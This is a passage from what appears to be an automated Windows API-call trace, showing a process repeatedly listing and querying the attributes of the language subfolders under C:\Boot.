hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.455] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.455] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.455] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.455] GetFullPathNameW (in: lpFileName="C:\\Boot\\it-IT", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\it-IT", lpFilePart=0x0) returned 0xd [0077.455] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.456] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.456] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.456] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.456] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.456] GetFullPathNameW (in: lpFileName="C:\\Boot\\ja-JP", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ja-JP", lpFilePart=0x0) returned 0xd [0077.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0077.456] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP" (normalized: "c:\\boot\\ja-jp"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x298ace40, ftCreationTime.dwHighDateTime=0x1d2e6c8, ftLastAccessTime.dwLowDateTime=0x298ace40, ftLastAccessTime.dwHighDateTime=0x1d2e6c8, ftLastWriteTime.dwLowDateTime=0x298ace40, ftLastWriteTime.dwHighDateTime=0x1d2e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0077.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.456] GetFullPathNameW (in: lpFileName="C:\\Boot\\ja-JP", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ja-JP", lpFilePart=0x0) returned 0xd [0077.456] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.456] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.456] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.456] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.456] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.457] GetFullPathNameW (in: lpFileName="C:\\Boot\\ja-JP", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ja-JP", lpFilePart=0x0) returned 0xd [0077.457] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.457] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.457] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.457] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.457] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.457] GetFullPathNameW (in: lpFileName="C:\\Boot\\ko-KR", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ko-KR", lpFilePart=0x0) returned 0xd [0077.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0077.457] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR" (normalized: "c:\\boot\\ko-kr"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x298ace40, ftCreationTime.dwHighDateTime=0x1d2e6c8, ftLastAccessTime.dwLowDateTime=0x298ace40, ftLastAccessTime.dwHighDateTime=0x1d2e6c8, ftLastWriteTime.dwLowDateTime=0x298ace40, ftLastWriteTime.dwHighDateTime=0x1d2e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0077.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.458] GetFullPathNameW (in: lpFileName="C:\\Boot\\ko-KR", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ko-KR", lpFilePart=0x0) returned 0xd [0077.458] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.458] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.458] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.458] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.458] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.458] GetFullPathNameW (in: lpFileName="C:\\Boot\\ko-KR", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ko-KR", lpFilePart=0x0) returned 0xd [0077.458] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.458] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.458] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.458] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.459] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.459] GetFullPathNameW (in: lpFileName="C:\\Boot\\nb-NO", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nb-NO", lpFilePart=0x0) returned 0xd [0077.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0077.459] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO" (normalized: "c:\\boot\\nb-no"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x298d2fa0, ftCreationTime.dwHighDateTime=0x1d2e6c8, ftLastAccessTime.dwLowDateTime=0x298d2fa0, ftLastAccessTime.dwHighDateTime=0x1d2e6c8, ftLastWriteTime.dwLowDateTime=0x298d2fa0, ftLastWriteTime.dwHighDateTime=0x1d2e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0077.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.459] GetFullPathNameW (in: lpFileName="C:\\Boot\\nb-NO", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nb-NO", lpFilePart=0x0) returned 0xd [0077.459] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.459] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.459] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.459] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.459] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.459] GetFullPathNameW (in: lpFileName="C:\\Boot\\nb-NO", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nb-NO", lpFilePart=0x0) returned 0xd [0077.460] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.460] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.460] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.460] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.460] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.460] GetFullPathNameW (in: lpFileName="C:\\Boot\\nl-NL", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nl-NL", lpFilePart=0x0) returned 0xd [0077.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0077.460] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL" (normalized: "c:\\boot\\nl-nl"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x298d2fa0, ftCreationTime.dwHighDateTime=0x1d2e6c8, ftLastAccessTime.dwLowDateTime=0x298f9100, ftLastAccessTime.dwHighDateTime=0x1d2e6c8, ftLastWriteTime.dwLowDateTime=0x298f9100, ftLastWriteTime.dwHighDateTime=0x1d2e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0077.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.461] GetFullPathNameW (in: lpFileName="C:\\Boot\\nl-NL", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nl-NL", lpFilePart=0x0) returned 0xd [0077.461] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.461] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.461] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.461] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.461] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.461] GetFullPathNameW (in: lpFileName="C:\\Boot\\nl-NL", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nl-NL", lpFilePart=0x0) returned 0xd [0077.461] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.461] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.461] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.461] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.461] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.461] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL", lpFilePart=0x0) returned 0xd [0077.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0077.462] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL" (normalized: "c:\\boot\\pl-pl"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x298f9100, ftCreationTime.dwHighDateTime=0x1d2e6c8, ftLastAccessTime.dwLowDateTime=0x298f9100, ftLastAccessTime.dwHighDateTime=0x1d2e6c8, ftLastWriteTime.dwLowDateTime=0x298f9100, ftLastWriteTime.dwHighDateTime=0x1d2e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0077.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.462] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL", lpFilePart=0x0) returned 0xd [0077.462] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.462] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.462] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.462] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.462] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.462] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL", lpFilePart=0x0) returned 0xd [0077.462] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.462] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.463] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.463] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.463] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-BR", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-BR", lpFilePart=0x0) returned 0xd [0077.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0077.463] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR" (normalized: "c:\\boot\\pt-br"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x298f9100, ftCreationTime.dwHighDateTime=0x1d2e6c8, ftLastAccessTime.dwLowDateTime=0x298f9100, ftLastAccessTime.dwHighDateTime=0x1d2e6c8, ftLastWriteTime.dwLowDateTime=0x298f9100, ftLastWriteTime.dwHighDateTime=0x1d2e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0077.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.463] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-BR", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-BR", lpFilePart=0x0) returned 0xd [0077.463] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.464] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.464] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-BR", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-BR", lpFilePart=0x0) returned 0xd [0077.464] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.464] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.464] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-PT", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-PT", lpFilePart=0x0) returned 0xd [0077.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0077.464] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT" (normalized: "c:\\boot\\pt-pt"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x298f9100, ftCreationTime.dwHighDateTime=0x1d2e6c8, ftLastAccessTime.dwLowDateTime=0x298f9100, ftLastAccessTime.dwHighDateTime=0x1d2e6c8, ftLastWriteTime.dwLowDateTime=0x298f9100, ftLastWriteTime.dwHighDateTime=0x1d2e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0077.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.464] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-PT", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-PT", lpFilePart=0x0) returned 0xd [0077.464] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.465] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.465] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-PT", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-PT", lpFilePart=0x0) returned 0xd [0077.465] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.465] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.465] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU", lpFilePart=0x0) returned 0xd [0077.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0077.465] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU" (normalized: "c:\\boot\\ru-ru"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x298f9100, ftCreationTime.dwHighDateTime=0x1d2e6c8, ftLastAccessTime.dwLowDateTime=0x298f9100, ftLastAccessTime.dwHighDateTime=0x1d2e6c8, ftLastWriteTime.dwLowDateTime=0x298f9100, ftLastWriteTime.dwHighDateTime=0x1d2e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0077.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.466] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU", lpFilePart=0x0) returned 0xd [0077.466] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.466] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.466] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU", lpFilePart=0x0) returned 0xd [0077.466] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.466] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.466] GetFullPathNameW (in: lpFileName="C:\\Boot\\sv-SE", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sv-SE", lpFilePart=0x0) returned 0xd [0077.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0077.466] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE" (normalized: "c:\\boot\\sv-se"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2991f260, ftCreationTime.dwHighDateTime=0x1d2e6c8, ftLastAccessTime.dwLowDateTime=0x2991f260, ftLastAccessTime.dwHighDateTime=0x1d2e6c8, ftLastWriteTime.dwLowDateTime=0x2991f260, ftLastWriteTime.dwHighDateTime=0x1d2e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0077.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.467] GetFullPathNameW (in: lpFileName="C:\\Boot\\sv-SE", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sv-SE", lpFilePart=0x0) returned 0xd [0077.467] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.467] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.467] GetFullPathNameW (in: lpFileName="C:\\Boot\\sv-SE", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sv-SE", lpFilePart=0x0) returned 0xd [0077.467] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 